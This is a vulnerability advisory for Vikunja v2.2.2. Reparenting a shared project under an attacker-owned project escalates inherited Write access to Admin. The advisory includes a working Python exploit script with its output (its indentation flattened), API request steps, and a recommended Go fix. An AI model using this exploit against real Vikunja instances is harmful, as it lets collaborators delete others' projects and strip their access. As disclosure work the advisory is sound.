Summary

A user with Write-level access to a project can escalate their permissions to Admin by moving the project under a project they own. After reparenting, the recursive permission CTE resolves ownership of the new parent as Admin on the moved project. The attacker can then delete the project, manage shares, and remove other users' access.

Details

The CanUpdate check at pkg/models/project_permissions.go:139-148 only requires CanWrite on the new parent project when changing parent_project_id. However, Vikunja's permission model uses a recursive CTE that walks up the project hierarchy to compute permissions. Moving a project under a different parent changes the permission inheritance chain.

When a user has inherited Write access (from a parent project share) and reparents the child project under their own project tree, the CTE resolves their ownership of the new parent as Admin (permission level 2) on the moved project.

if p.ParentProjectID != 0 && p.ParentProjectID != ol.ParentProjectID {
    newProject := &Project{ID: p.ParentProjectID}
    can, err := newProject.CanWrite(s, a)  // Only checks Write, not Admin
    if err != nil {
        return false, err
    }
    if !can {
        return false, ErrGenericForbidden{}
    }
}

Proof of Concept

Tested on Vikunja v2.2.2.

1. victim creates "Parent Project" (id=3)
2. victim creates "Secret Child" (id=4) under Parent Project
3. victim shares Parent Project with attacker at Write level (permission=1)
   -> attacker inherits Write on Secret Child (no direct share)
4. attacker creates own "Attacker Root" project (id=5)
5. attacker verifies: DELETE /api/v1/projects/4 -> 403 Forbidden
6. attacker sends: POST /api/v1/projects/4 {"title":"Secret Child","parent_project_id":5}
   -> 200 OK (reparenting succeeds, only requires Write)
7. attacker sends: DELETE /api/v1/projects/4 -> 200 OK
   -> Project deleted. victim gets 404.

```python
import requests

TARGET = "http://localhost:3456"
API = f"{TARGET}/api/v1"

def login(u, p):
return requests.post(f"{API}/login", json={"username": u, "password": p}).json()["token"]

def h(token):
return {"Authorization": f"Bearer {token}", "Content-Type": "application/json"}

victimtoken = login("victim", "Victim123!") attackertoken = login("attacker", "Attacker123!")

victim creates parent -> child project hierarchy

parent = requests.put(f"{API}/projects", headers=h(victimtoken), json={"title": "Parent Project"}).json() child = requests.put(f"{API}/projects", headers=h(victimtoken), json={"title": "Secret Child", "parentprojectid": parent["id"]}).json()

victim shares parent with attacker at Write (attacker inherits Write on child)

requests.put(f"{API}/projects/{parent['id']}/users", headers=h(victim_token), json={"username": "attacker", "permission": 1})

attacker creates own root project

own = requests.put(f"{API}/projects", headers=h(attacker_token), json={"title": "Attacker Root"}).json()

before: attacker cannot delete child

r = requests.delete(f"{API}/projects/{child['id']}", headers=h(attackertoken)) print(f"DELETE before reparent: {r.statuscode}") # 403

exploit: reparent child under attacker's project

r = requests.post(f"{API}/projects/{child['id']}", headers=h(attackertoken), json={"title": "Secret Child", "parentprojectid": own["id"]}) print(f"Reparent: {r.statuscode}") # 200

after: attacker can now delete child

r = requests.delete(f"{API}/projects/{child['id']}", headers=h(attackertoken)) print(f"DELETE after reparent: {r.statuscode}") # 200 - escalated to Admin

victim lost access

r = requests.get(f"{API}/projects/{child['id']}", headers=h(victimtoken)) print(f"Victim access: {r.statuscode}") # 404 - project gone

Output:

DELETE before reparent: 403 Reparent: 200 DELETE after reparent: 200 Victim access: 404

The attacker escalated from inherited Write to Admin by reparenting, then deleted the victim's project.

## Impact

Any user with Write permission on a shared project can escalate to full Admin by moving the project under their own project tree via a single API call. After escalation, the attacker can delete the project (destroying all tasks, attachments, and history), remove other users' access, and manage sharing settings. This affects any project where Write access has been shared with collaborators.

## Recommended Fix

Require Admin permission instead of Write when changing `parent_project_id`:

```go
if p.ParentProjectID != 0 && p.ParentProjectID != ol.ParentProjectID {
    newProject := &Project{ID: p.ParentProjectID}
    can, err := newProject.IsAdmin(s, a)
    if err != nil {
        return false, err
    }
    if !can {
        return false, ErrGenericForbidden{}
    }
    canAdmin, err := p.IsAdmin(s, a)
    if err != nil {
        return false, err
    }
    if !canAdmin {
        return false, ErrGenericForbidden{}
    }
}

Found and reported by aisafe.io